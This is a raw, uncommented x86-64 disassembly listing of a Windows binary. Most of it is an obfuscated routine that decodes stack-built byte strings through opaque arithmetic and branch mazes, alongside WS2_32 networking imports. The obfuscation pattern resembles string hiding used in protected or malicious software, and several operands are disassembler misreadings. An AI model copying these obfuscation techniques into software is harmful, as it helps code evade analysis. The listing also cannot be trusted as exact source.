add rdx, rdi
movzx eax, dl
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
movabs rdx, 0x969a1e950f8e9884
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
add cl, cl
add cl, bl
add cl, dl
movzx eax, cl
mov byte [rbp + rdi + 0xed8], al
inc r9
add rax, r9
sub rdi, rax
jmp 0x14008a1bf
movabs rdx, 0xbcde87690f1504bc
add rdx, rdi
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x24
add r11b, dl
movzx ebx, r10b
movabs rcx, 0x22c6a01078f93310
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
sub bl, 0x70
add bl, cl
mov byte [rbp + rdi + 0xed8], bl
inc r8
mov rax, r12
sub rax, r8
add rdi, rax
jmp 0x14008a20e
movabs rcx, 0xa48584723c3fcfa4
add rcx, rdi
movzx eax, r10b
and al, cl
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x7c
movzx eax, byte [rbp + rdi + 0xed8]
add rax, r9
add rdi, rax
inc rdi
movabs rdx, 0x3d14b0b6a0cb4ec
jmp 0x1400895f2
movabs rcx, 0xd31f451dc4624abc
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x24
jmp 0x1400895ee
movabs rcx, 0xbac64226f18d15a4
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x7c
jmp 0x1400895d1
lea rcx, [rbp + 0x15fe4e8]
jmp 0x14008a28d
lea rcx, [rbp + 0x14a7f74]
jmp 0x14008a28d
lea rcx, [rbp + 0xed8]
mov dword [rbp + 0x1018], 0x41200000
mov dword [rbp + 0x1020], 0x3f800000
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], rsi
lea rax, [rbp + 0x1018]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x1020]
mov r8, r14
mov edx, 8
call fcn.140037e30
mov byte [rbp + 0xf00], 0xb1
mov byte [rbp + 0xf01], 0xbf
mov byte [rbp + 0xf02], 0xa4
mov byte [rbp + 0xf03], 0xf1
mov byte [rbp + 0xf04], 0x68
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xf05], xmm0
mov qword [rbp + 0xf15], rax
mov dword [rbp + 0xf1d], eax
mov word [rbp + 0xf21], ax
movabs rsi, 0x7108b6a52432dd7a
movabs r13, 0x29f4397594026c12
movabs r14, 0xc79b32d75d50adc6
movabs r15, 0x73b2bfec354bd5a2
movzx r11d, byte [rsp + 0x40]
nop
mov r8, qword [0x14022c4b8]
mov r9, qword [0x14022c4b0]
nop
xor edi, edi
cmp rdi, 0x23
jae 0x14008b161
movzx ebx, byte [rbp + rdi + 0xf00]
mov r10, rbx
cmp r8, rdi
ja 0x14008b158
lea rcx, [r9 + 1]
cmp r8, rcx
jae 0x14008a393
lea rcx, [rdi + r13]
mov rax, rcx
and rax, rbx
imul r11, rax, 0xfffffffffffffffe
add r11, rcx
add r11, rbx
sub r11b, 0x7e
jmp 0x14008a3e0
je 0x14008b0d4
lea rax, [r9 + 3]
cmp r8, rax
je 0x14008b038
lea rax, [rcx + 1]
cmp r8, rax
je 0x14008b002
lea rax, [r9 + 6]
cmp r8, rax
je 0x14008afb5
lea rax, [r9 + 4]
cmp r8, rax
je 0x14008af8c
lea rax, [r9 + 5]
cmp r8, rax
je 0x14008af60
nop word [rax + rax]
cmp r9, rdi
ja 0x14008b14f
lea rax, [r9 + 3]
cmp r8, rax
jae 0x14008a409
lea rcx, [rdi + rsi]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x56
jmp 0x14008a450
lea rax, [r9 + 1]
cmp r8, rax
je 0x14008af0e
lea rax, [r9 + 3]
cmp r8, rax
je 0x14008aee5
lea rax, [r9 + 5]
cmp r8, rax
je 0x14008aec1
lea rax, [r9 + 7]
cmp r8, rax
je 0x14008ae9a
lea rax, [r9 + 8]
cmp r8, rax
je 0x14008ae66
nop word [rax + rax]
lea rax, [r8 + r9]
cmp rax, rdi
jbe 0x14008aab7
nop dword [rax]
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x14008aa90
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x14008aa64
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x14008aa3b
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x14008aa17
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x14008a9f4
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x14008a9c1
lea rax, [r9 + 8]
cmp r8, rax
je 0x14008a99d
lea rcx, [r9 + 0x20]
cmp r8, rcx
je 0x14008a976
lea rax, [r9 + 6]
cmp r8, rax
je 0x14008a942
lea rax, [r9 + 1]
cmp r8, rax
je 0x14008a460
mov r8, rcx
lea r9, [rcx + 5]
lea rax, [r9 + 0x64]
cmp rcx, rax
jb 0x14008b12c
lea rax, [r9 + 0x10]
cmp rcx, rax
jb 0x14008b109
lea rax, [r9 + 5]
cmp rcx, rax
jb 0x14008a64a
lea rax, [r9 + 0xa]
cmp rcx, rax
jb 0x14008a62c
lea rax, [r9 + 4]
cmp rcx, rax
jb 0x14008a612
lea rax, [r9 + 0x5a]
cmp rcx, rax
jb 0x14008a8e1
lea rax, [r9 + 3]
cmp rcx, rax
jb 0x14008a881
lea rax, [r9 + 0x41]
cmp rcx, rax
jb 0x14008a831
lea rax, [r9 + 0x3e8]
cmp rcx, rax
jb 0x14008a803
lea rax, [r9 + 0x7a]
cmp rcx, rax
jb 0x14008a460
lea r8, [r9 + 8]
lea r9, [r8 + 0x200]
lea rax, [r9 + 2]
cmp r8, rax
ja 0x14008a7ca
lea rax, [r9 + 6]
cmp r8, rax
ja 0x14008a7a2
lea rax, [r9 + 1]
cmp r8, rax
ja 0x14008a77d
lea rax, [r9 + 0x61]
cmp r8, rax
ja 0x14008a745
lea rax, [r9 + 0x2a]
cmp r8, rax
ja 0x14008a71d
lea rax, [r9 + 0x1000]
cmp r8, rax
ja 0x14008a6f8
lea rax, [r9 + 0x64]
cmp r8, rax
ja 0x14008a6ca
lea rcx, [r9 + 0x400]
cmp r8, rcx
ja 0x14008a699
lea rax, [r9 + 0x42]
cmp r8, rax
ja 0x14008a671
lea rax, [r9 + 0xa]
cmp r8, rax
ja 0x14008a460
mov r8, rcx
lea r9, [rcx + 0x40]
jmp 0x14008a460
lea rcx, [rdi + r14]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x6a
jmp 0x14008a450
lea rdx, [rdi + r15]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x6e
add r11b, dl
jmp 0x14008a3e0
movabs rdx, 0x1fca4d010d46fd7e
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x72
add r11b, dl
jmp 0x14008a364
movabs rdx, 0x8845b5292196ebd0
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14008af2c
movabs rdx, 0x345d423df99213ac
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
inc r9
dec rdi
inc rdi
jmp 0x14008a352
movabs rdx, 0xe074cf52d18d3b88
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 0x24
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
dec rdi
inc rdi
jmp 0x14008a352
movabs rdx, 0x8c8c5c67a9886364
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_35
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x14008afd4
movabs rdx, 0x38a3e97c81838b40
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x14008b020
movabs rdx, 0xe4bb7691597eb31c
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14008a352
movabs rdx, 0x90d303a63179daf8
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_30
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x14008b05b
movabs rdx, 0x3cea90bb097502d4
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x14008b090
movabs rdx, 0xe9021dcfe1702ab0
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_26
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movzx eax, byte [rbp + rdi + 0xf00]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14008a352
movabs rcx, 0x173cfe83fd640e56
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x5a
mov byte [rbp + rdi + 0xf00], r11b
inc rdi
jmp 0x14008a352
movabs rdx, 0xc3548b98d55f3632
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x5e
add r11b, dl
cmp r9, 5
jb 0x14008a821
movabs rdx, 0xb74ee4d8f8f70f2c
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx ecx, bl
sub cl, al
add cl, dl
lea r11d, [rcx*2 - 0x68]
jmp 0x14008af2c
movabs rdx, 0x6f6c18adad5a5e0e
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x62
add r11b, dl
cmp r8, 0x3e8
jae 0x14008ae0e
lea rax, [r9 + 3]
cmp r8, rax
jbe 0x14008ad0d
movabs rdx, 0x703a67a968c69dc4
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x5c
jmp 0x14008a850
movabs rdx, 0x1b83a5c2855585ea
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x66
add r11b, dl
lea rax, [r8 + r9]
cmp rax, 0x7a
je 0x14008ae3a
lea rax, [r9 + 8]
cmp r8, rax
jbe 0x14008abc1
movabs rdx, 0xff31b1044493c04a
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 6
jmp 0x14008a8a0
movabs rcx, 0xa63447ded93130dc
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 4
movzx eax, byte [rbp + rdi + 0xf00]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14008a352
movabs rdx, 0x524bd4f3b12c58b8
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 8
add r11b, dl
jmp 0x14008b090
movabs rdx, 0xfe63620889278094
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0xc
jmp 0x14008b05b
movabs rcx, 0xaa7aef1d6122a870
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x10
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14008a352
movabs rcx, 0x56927c32391dd04c
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x14
jmp 0x14008b020
movabs rdx, 0x2aa09471118f828
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x18
jmp 0x14008afd4
movabs rcx, 0xaec1965be9142004
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x1c
dec rdi
inc rdi
jmp 0x14008a352
movabs rcx, 0x5ad92370c10f47e0
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x20
inc r9
dec rdi
inc rdi
jmp 0x14008a352
movabs rdx, 0x6f0b085990a6fbc
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x24
add r11b, dl
jmp 0x14008af2c
lea rax, [r9 + 5]
cmp r8, rax
jae 0x14008aadb
lea rdx, [rdi + r13]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x7e
jmp 0x14008a900
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14008ab1d
movabs rdx, 0xe2116d4a4865baf4
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movzx eax, byte [rbp + rdi + 0xf00]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14008a352
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14008ab5e
movabs rdx, 0xddcac60bc0744360
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14008a352
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14008ab8f
movabs rdx, 0x31b338f6e8791b84
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x14008b020
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14008a903
movabs rdx, 0x859babe2107df3a8
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 0x34
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x14008afd4
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14008abf1
movabs rdx, 0x531a23ef6c98986e
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 2
add r11b, dl
jmp 0x14008af2c
inc rax
cmp r8, rax
jne 0x14008ac27
movabs rdx, 0xfaeb09c5bca248b6
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 3
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
dec rdi
inc rdi
jmp 0x14008a352
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14008ac58
movabs rdx, 0xa2bbef9c0cabf8fe
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 7
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x14008b020
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14008ac99
movabs rdx, 0xf6a4628734b0d122
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 9
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14008a352
lea rax, [r9 + 7]
cmp r8, rax
jne 0x14008acc7
movabs rdx, 0x4a8cd5725cb5a946
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, listen
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x14008b05b
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14008a8a3
movabs rdx, 0xf25dbb48acbf598e
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, byte [rbp + rdi + 0xf00]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14008a352
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14008ad4a
movabs rcx, 0xc422da9490cb75e8
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x58
movzx eax, byte [rbp + rdi + 0xf00]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14008a352
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14008ad77
movabs rdx, 0x6bf3c06ae0d52630
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x50
jmp 0x14008b05b
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14008ada9
movabs rcx, 0xbb958c1780e886c0
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x40
dec rdi
inc rdi
jmp 0x14008a352
lea rax, [r9 + 7]
cmp r8, rax
jne 0x14008adde
movabs rcx, 0xf7dff02a8ed5ee4
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x3c
inc r9
dec rdi
inc rdi
jmp 0x14008a352
lea rax, [r9 + 8]
cmp r8, rax
jne 0x14008a853
movabs rcx, 0x636671edd0f23708
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x38
jmp 0x14008af2c
movabs rdx, 0xb3757c420fbe750
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, byte [rbp + rdi + 0xf00]
sub r11b, al
sub r11b, 0x30
add r11b, bl
jmp 0x14008afd4
movabs rdx, 0x5f1fcaaf4900bf74
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, byte [rbp + rdi + 0xf00]
sub r11b, 0x2c
jmp 0x14008b05b
movabs rcx, 0x6434c0e98c5e76be
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x32
movzx eax, byte [rbp + rdi + 0xf00]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14008a352
movabs rdx, 0x104c4dfe64599e9a
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x36
add r11b, dl
jmp 0x14008b090
movabs rdx, 0xbc63db133c54c676
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x3a
jmp 0x14008b05b
movabs rcx, 0x6cc20f669c4165e6
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x4a
dec rdi
inc rdi
jmp 0x14008a352
movabs rcx, 0xc4f129904c37b59e
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x52
movabs rdx, 0xe1431e4e8cf97b3e
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_41
sub cl, al
add cl, cl
add cl, dl
add cl, bl
mov byte [rbp + rdi + 0xf00], cl
inc r9
dec rdi
inc rdi
jmp 0x14008a352
movabs rcx, 0xc937d0ced4292d32
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x5e
inc r9
dec rdi
inc rdi
jmp 0x14008a352
movabs rcx, 0x754f5de3ac24550e
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x62
dec rdi
inc rdi
jmp 0x14008a352
movabs rdx, 0x2166eaf8841f7cea
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x66
add r11b, dl
movabs rdx, 0x352b9139b4fe5362
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_41
sub cl, al
add cl, cl
add cl, bl
add cl, dl
add cl, r11b
mov byte [rbp + rdi + 0xf00], cl
jmp 0x14008b020
movabs rcx, 0xcd7e780d5c1aa4c6
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x6a
add r8, r9
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14008a352
mov rbx, r10
movabs rdx, 0x25ad92370c10f47e
add rdx, rdi
movzx eax, dl
and al, r10b
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x72
add r11b, dl
movabs rdx, 0x89140424dd032b86
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_45
sub cl, al
add cl, cl
add cl, bl
add cl, dl
movzx eax, cl
mov byte [rbp + rdi + 0xf00], al
inc r9
add rax, r9
sub rdi, rax
movabs rcx, 0xb3083d9a71059798
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
sub cl, 0x28
add cl, bl
mov byte [rbp + rdi + 0xf00], cl
inc r8
mov rax, r12
sub rax, r8
add rdi, rax
movzx eax, byte [rbp + rdi + 0xf00]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14008a352
movabs rcx, 0x7ddcac60bc074436
add rcx, rdi
movzx eax, r10b
and al, cl
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x7a
movzx eax, byte [rbp + rdi + 0xf00]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14008a352
movabs rcx, 0xcbe1da15e542255a
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x76
jmp 0x14008a350
movabs rcx, 0x77f9672abd3d4d36
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x7a
jmp 0x14008a340
lea rsi, [rbp + 0x160ab18]
jmp 0x14008b168
lea rsi, [rbp + 0x123172a]
jmp 0x14008b168
lea rsi, [rbp + 0xf00]
lea rdx, [0x140226150]
lea rcx, [rbp + 0x6a8]
call fcn.140002680
mov rdi, rax
mov qword [rsp + 0x48], rax
mov r8, rax
lea rdx, [rbp + 0x38]
mov rcx, qword [0x14022c170]
call fcn.14006bfb0
mov rbx, qword [rax]
mov rcx, rdi
call fcn.140002820
lea rcx, [rbx + 0x30]
call fcn.14006bab0
mov r14, rax
mov byte [rbp + 0xf28], 0x50
mov byte [rbp + 0xf29], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0xf2a], 0x67
mov byte [rbp + 0xf2b], 0x67
mov byte [rbp + 0xf2c], WSASetLastError
mov byte [rbp + 0xf2d], 0x66
mov byte [rbp + 0xf2e], WSACleanup
mov byte [rbp + 0xf2f], WSASetLastError
mov byte [rbp + 0xf30], 0x67
mov byte [rbp + 0xf31], 0x67
mov byte [rbp + 0xf32], Ordinal_45
mov byte [rbp + 0xf33], 0x52
mov byte [rbp + 0xf34], recv
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xf35], xmm0
mov dword [rbp + 0xf45], eax
mov word [rbp + 0xf49], ax
movabs r15, 0xcb7a863f47b28a00
movabs r13, 0x78993b0a8a98f200
movzx r11d, byte [rsp + 0x40]
nop dword [rax + rax]
mov r8, qword [0x14022c4b8]
mov r9, qword [0x14022c4b0]
nop
xor edi, edi
movabs rcx, 0x9bf9a4de7120e200
cmp rdi, 0x23
jae 0x14008bdb0
movzx ebx, byte [rbp + rdi + 0xf28]
mov rdx, rbx
cmp r8, rdi
ja 0x14008bda7
lea rax, [r9 + 1]
cmp r8, rax
jae 0x14008b298
add rcx, rdi
mov rax, rcx
and rax, rbx
imul r11, rax, 0xfffffffffffffffe
add r11, rcx
add r11, rbx
jmp 0x14008b2c4
je 0x14008bd30
inc rax
cmp r8, rax
je 0x14008bcd2
lea rax, [r9 + 4]
cmp r8, rax
je 0x14008bcad
lea rax, [r9 + 5]
cmp r8, rax
je 0x14008bc62
mov rdx, r8
cmp r9, rdi
ja 0x14008bd9e
lea rax, [r9 + 4]
cmp r8, rax
jae 0x14008b2ec
lea rcx, [rdi + r15]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
jmp 0x14008b313
lea rax, [r9 + 1]
cmp r8, rax
je 0x14008bc56
lea rax, [r9 + 3]
cmp r8, rax
je 0x14008bc4a
lea rax, [r9 + 5]
cmp r8, rax
je 0x14008bc1b
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x14008b7bc
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x14008b7ad
lea rax, [r9 + 5]
cmp r8, rax
je 0x14008b785
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x14008b776
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x14008b744
lea rax, [r9 + 3]
cmp r8, rax
je 0x14008b735
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x14008b712
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x14008b6ef
lea rax, [r9 + 1]
cmp r8, rax
je 0x14008b320
lea r8, [r9 + 0x200]
lea r9, [r8 + 0x200]
lea rax, [r9 + 0x200]
cmp r8, rax
jb 0x14008bd7f
lea rax, [r9 + 9]
cmp r8, rax
jb 0x14008bd60
lea rax, [r9 + 0x5a]
cmp r8, rax
jb 0x14008b4aa
lea rax, [r9 + 0x64]
cmp r8, rax
jb 0x14008b494
lea rax, [r9 + 6]
cmp r8, rax
jb 0x14008b697
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x14008b646
lea rax, [r9 + 0x40]
cmp r8, rax
jb 0x14008b5fe
lea rax, [r9 + 4]
cmp r8, rax
jb 0x14008b5d4
lea r8, [r9 + 0x1000]
lea r9, [r8 + 0x1000]
lea rax, [r9 + 0x1000]
cmp r8, rax
ja 0x14008b5a4
lea rax, [r9 + 0x20]
cmp r8, rax
ja 0x14008b585
lea rax, [r9 + 2]
cmp r8, rax
ja 0x14008b56a
lea rax, [r9 + 0x3e8]
cmp r8, rax
ja 0x14008b55b
lea rax, [r9 + 0xa]
cmp r8, rax
ja 0x14008b529
lea rax, [r9 + 0x2a]
cmp r8, rax
ja 0x14008b51a
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x14008b4f2
lea rax, [r9 + 8]
cmp r8, rax
ja 0x14008b4d3
lea rax, [r9 + 0x41]
cmp r8, rax
ja 0x14008b320
mov r8, rax
lea r9, [rax + 0x41]
jmp 0x14008b320
lea rcx, [rdi + r13]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
jmp 0x14008b2c4
movabs rcx, 0x40a5f14da8572e00
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
movabs rcx, 0x9bf9a4de7120e200
jmp 0x14008b26e
movabs rcx, 0x5bd431fa3d945000
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
jmp 0x14008bc80
movabs rcx, 0x23e0e83d5b528c00
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
inc r9
dec rdi
inc rdi
jmp 0x14008b252
movabs rcx, 0xebed9e807910c800
jmp 0x14008bcb7
movabs rcx, 0x7c070b06b48d4000
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r8, r9
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14008b252
movabs rcx, 0x4413c149d24b7c00
jmp 0x14008bc25
movabs rcx, 0xc20778cf009b800
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
jmp 0x14008bbe7
movabs rcx, 0xd42d2dd00dc7f400
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
jmp 0x14008bcef
movabs rcx, 0x9c39e4132b863000
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
movzx eax, byte [rbp + rdi + 0xf28]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14008b252
movabs rcx, 0x9059abbaf5e1c600
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
mov byte [rbp + rdi + 0xf28], r11b
inc rdi
jmp 0x14008b252
movabs rdx, 0x586661fe13a00200
add rdx, rdi
movzx ecx, bl
and cl, dl
add cl, cl
movzx r11d, bl
sub r11b, cl
add r11b, dl
cmp r9, 0x80
jb 0x14008b5ee
movabs rcx, 0x2577b0a1131a0c00
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
add cl, bl
lea r11d, [rcx + rcx]
jmp 0x14008bc80
movabs rdx, 0x20731841315e3e00
add rdx, rdi
movzx ecx, bl
and cl, dl
add cl, cl
movzx r11d, bl
sub r11b, cl
add r11b, dl
cmp r8, 0x40
jae 0x14008bb67
lea rax, [r9 + 0x40]
cmp r8, rax
jbe 0x14008ba4d
movabs rcx, 0xf5f6cf403c886400
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
jmp 0x14008b61c
movabs rdx, 0xe87fce844f1c7a00
add rdx, rdi
movzx ecx, bl
and cl, dl
add cl, cl
movzx r11d, bl
sub r11b, cl
add r11b, dl
